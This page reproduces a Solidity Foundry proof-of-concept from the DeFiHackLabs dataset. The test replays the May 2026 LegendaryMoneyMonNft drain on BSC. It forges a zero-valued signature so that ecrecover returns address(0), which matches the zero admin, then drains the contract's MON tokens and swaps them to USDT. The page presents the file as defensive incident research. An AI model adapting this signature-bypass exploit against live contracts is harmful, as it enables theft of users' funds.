Public reproduction file
src/test/2026-05/LegendaryMoneyMonNft_exp.sol
Public reproduction file for dataset entry LegendaryMoneyMonNft.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~$85.5K USD (85,519.47 USDT)8// Attacker : 0xE1582248C593Df4B367e131922438Fec9D76E7879// Attack Contract : 0x157ba211f05dd2c83006be949e12b2f0f0a0c1d9 (delegated to the attacker EOA via EIP-7702)10// Vulnerable Contract : 0x92D60629FF5d53a0098B51E9b1D59546D1D8e5B6 (LegendaryMoneyMonNft - "Legendary MoneyMon NFTs")11// MON Token : 0xA1C1A7341a1713F174D59926E49E4A1228924100 (Moneymon / MON)12// Attack Tx : 0x15c835c070672948b3487d35254bce96831bec9f5212f78b04e683fed74bf4a213// @Analysis14// Attack date: May 28, 202615// Chain: BSC, Block: 10093703916// SlowMist: https://x.com/SlowMist_Team/status/206020555868748644118// Root Cause:19// LegendaryMoneyMonNft.cliamRewred() lets a user pull an arbitrary ERC20 amount out of the contract20// as long as verify() returns true:21//22// function verify(address payment,address user,uint _nftid,uint amount,uint _time,string _exname,bytes sig)23// returns (bool) { ... return recoverSigner(ethSignedMessageHash, sig) == admin; }24//25// function recoverSigner(bytes32 hash, bytes sig) returns (address) {26// (bytes32 r, bytes32 s, uint8 v) = splitSignature(sig);27// return ecrecover(hash, v, r, s); // <-- never checks for the address(0) return28// }29//30// `ecrecover` returns address(0) for a malformed signature (e.g. r = s = 0). The contract never rejects31// that, and `changeadmin()` had already been used to set `admin` to the zero address on-chain. So an32// attacker submits cliamRewred(...) with a 65-byte signature of (r=0, s=0, v=27): ecrecover returns33// address(0), which equals admin, verify() passes, and the contract transfers the requested token amount34// to msg.sender. The attacker drains the contract's entire MON balance and swaps it to USDT on PancakeSwap.35//36// Note: the real attack ran the drain logic from the attacker EOA itself via an EIP-7702 SetCode (type-4)37// transaction delegating to 0x157ba211.... For the PoC we use vm.prank to act as the attacker EOA instead.38//39// Function selectors:40// 0x33444682: cliamRewred(address,uint256,uint256,uint256,string,bytes) -- vulnerable claim41// 0x26ea7ab8: changeadmin(address) -- onlyOwner; admin was set to 043interface ILegendaryMoneyMonNft {44 function admin() external view returns (address);45 function cliamRewred(46 address _paymentaddress,47 uint256 _amount,48 uint256 _nftid,49 uint256 _time,50 string memory _exname,51 bytes memory signature52 ) external;53}55// PancakeSwap V3 SmartRouter exactInputSingle (no-deadline variant, selector 0x04e45aaf).56interface IPancakeSmartRouter {57 struct ExactInputSingleParams {58 address tokenIn;59 address tokenOut;60 uint24 fee;61 address recipient;62 uint256 amountIn;63 uint256 amountOutMinimum;64 uint160 sqrtPriceLimitX96;65 }67 function exactInputSingle(68 ExactInputSingleParams calldata params69 ) external payable returns (uint256 amountOut);70}72contract LegendaryMoneyMonNftExploit is Test {73 ILegendaryMoneyMonNft constant NFT = ILegendaryMoneyMonNft(0x92D60629FF5d53a0098B51E9b1D59546D1D8e5B6);74 IERC20 constant MON = IERC20(0xA1C1A7341a1713F174D59926E49E4A1228924100);75 IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);76 IPancakeSmartRouter constant ROUTER = IPancakeSmartRouter(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4);77 address constant MON_USDT_POOL = 0x20bDcd1387feE20e42c3B4d328c9D3ad2DEa9e1D; // PancakeV3, fee 250078 uint24 constant POOL_FEE = 2500;80 address constant ATTACKER = 0xE1582248C593Df4B367e131922438Fec9D76E787;81 uint256 constant ATTACK_BLOCK = 100_937_039;83 function setUp() public {84 vm.createSelectFork("bsc", ATTACK_BLOCK - 1);85 vm.label(address(NFT), "LegendaryMoneyMonNft");86 vm.label(address(MON), "MON");87 vm.label(address(USDT), "USDT");88 vm.label(address(ROUTER), "PancakeV3SmartRouter");89 vm.label(MON_USDT_POOL, "MON_USDT_V3Pool");90 vm.label(ATTACKER, "Attacker");91 }93 function testExploit() public {94 console.log("--- LegendaryMoneyMonNft cliamRewred ecrecover(address(0)) Signature Bypass ---");95 console.log("Attack date: May 28, 2026 Chain: BSC Block: %s", ATTACK_BLOCK);97 // The misconfiguration that arms the bug: admin is the zero address on-chain.98 console.log("\nNFT.admin() :", NFT.admin());99 require(NFT.admin() == address(0), "admin is not the zero address at fork block");101 uint256 monInContract = MON.balanceOf(address(NFT));102 console.log("MON held by victim :", monInContract / 1e18);103 console.log("Attacker USDT before:", USDT.balanceOf(ATTACKER) / 1e18);105 vm.startPrank(ATTACKER);107 // A 65-byte signature of (r = 0, s = 0, v = 27). ecrecover returns address(0) == admin -> verify() passes.108 bytes memory forgedSig = abi.encodePacked(bytes32(0), bytes32(0), uint8(27));109 assertEq(forgedSig.length, 65, "signature must be 65 bytes");111 // Step 1: drain the contract's entire MON balance. _nftid/_time/_exname are irrelevant to the bypass.112 NFT.cliamRewred(address(MON), monInContract, 0, block.timestamp, "", forgedSig);114 uint256 stolenMon = MON.balanceOf(ATTACKER);115 console.log("\n=== After cliamRewred drain ===");116 console.log("MON drained to attacker:", stolenMon / 1e18);117 assertEq(stolenMon, monInContract, "did not drain full MON balance");119 // Step 2: swap the stolen MON to USDT through the PancakeSwap V3 pool (as the real attacker did).120 MON.approve(address(ROUTER), stolenMon);121 uint256 usdtOut = ROUTER.exactInputSingle(122 IPancakeSmartRouter.ExactInputSingleParams({123 tokenIn: address(MON),124 tokenOut: address(USDT),125 fee: POOL_FEE,126 recipient: ATTACKER,127 amountIn: stolenMon,128 amountOutMinimum: 0,129 sqrtPriceLimitX96: 0130 })131 );133 vm.stopPrank();135 uint256 usdtProfit = USDT.balanceOf(ATTACKER);136 console.log("\n=== Result ===");137 console.log("MON swapped :", stolenMon / 1e18);138 console.log("USDT out (this swap) :", usdtOut / 1e18);139 console.log("Attacker USDT after :", usdtProfit / 1e18);141 assertGt(usdtProfit, 0, "no USDT profit");142 console.log("\nSignature bypass confirmed: ecrecover(address(0)) == admin drained the MON treasury for ~$85.5K.");143 }144}Analysis
Dataset entry
Public Foundry test for “LegendaryMoneyMonNft” (2026-05-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-05/AdsharesBridge_exp.solSame month in the dataset · 67 lines
- src/test/2026-05/AROS_exp.solSame month in the dataset · 326 lines
- src/test/2026-05/DxSale_exp.solSame month in the dataset · 70 lines
- src/test/2026-05/Ekubo_exp.solSame month in the dataset · 107 lines
- src/test/2026-05/ElevateFi_exp.solSame month in the dataset · 144 lines
- src/test/2026-05/FractalProtocol_exp.solSame month in the dataset · 243 lines
- src/test/2026-05/HumaCreditApprovalBypass_exp.solSame month in the dataset · 101 lines
- src/test/2026-05/INKFinance_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/JoeAgent_exp.solSame month in the dataset · 184 lines
- src/test/2026-05/MAPProtocol_exp.solSame month in the dataset · 82 lines
- src/test/2026-05/MureDistribution_exp.solSame month in the dataset · 172 lines
- src/test/2026-05/NewMarketTrading_exp.solSame month in the dataset · 212 lines
- src/test/2026-05/Renegade_exp.solSame month in the dataset · 224 lines
- src/test/2026-05/SEAToken_exp.solSame month in the dataset · 165 lines
- src/test/2026-05/SharwaMarginTrading_exp.solSame month in the dataset · 271 lines
- src/test/2026-05/SKP_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/SQTokenStaking_exp.solSame month in the dataset · 136 lines
- src/test/2026-05/SquidRouterModule_exp.solSame month in the dataset · 213 lines
- src/test/2026-05/TesseraSwap_exp.solSame month in the dataset · 125 lines
- src/test/2026-05/TrustedVolumes_exp.solSame month in the dataset · 190 lines
- src/test/2026-05/VerusBridge_exp.solSame month in the dataset · 251 lines
- src/test/2026-05/WUSD_exp.solSame month in the dataset · 339 lines
- src/test/2026-05/YSDAO_exp.solSame month in the dataset · 131 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xe1582248c593df4b367e131922438fec9d76e787
- Attack Contract
0x157ba211f05dd2c83006be949e12b2f0f0a0c1d9
- Vulnerable Contract
0x92d60629ff5d53a0098b51e9b1d59546d1d8e5b6
- Attack Tx
0x15c835c070672948b3487d35254bce96831bec9f5212f78b04e683fed74bf4a2
File record
- Name
- LegendaryMoneyMonNft
- Path
- src/test/2026-05/LegendaryMoneyMonNft_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 2dc541ca48493f8add67581336934dd709bf5100
- Language
- Solidity
- Size
- 145 lines
- Date
- 2026-05-28
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-05/LegendaryMoneyMonNft_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2dc541ca48493f8add67581336934dd709bf5100, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.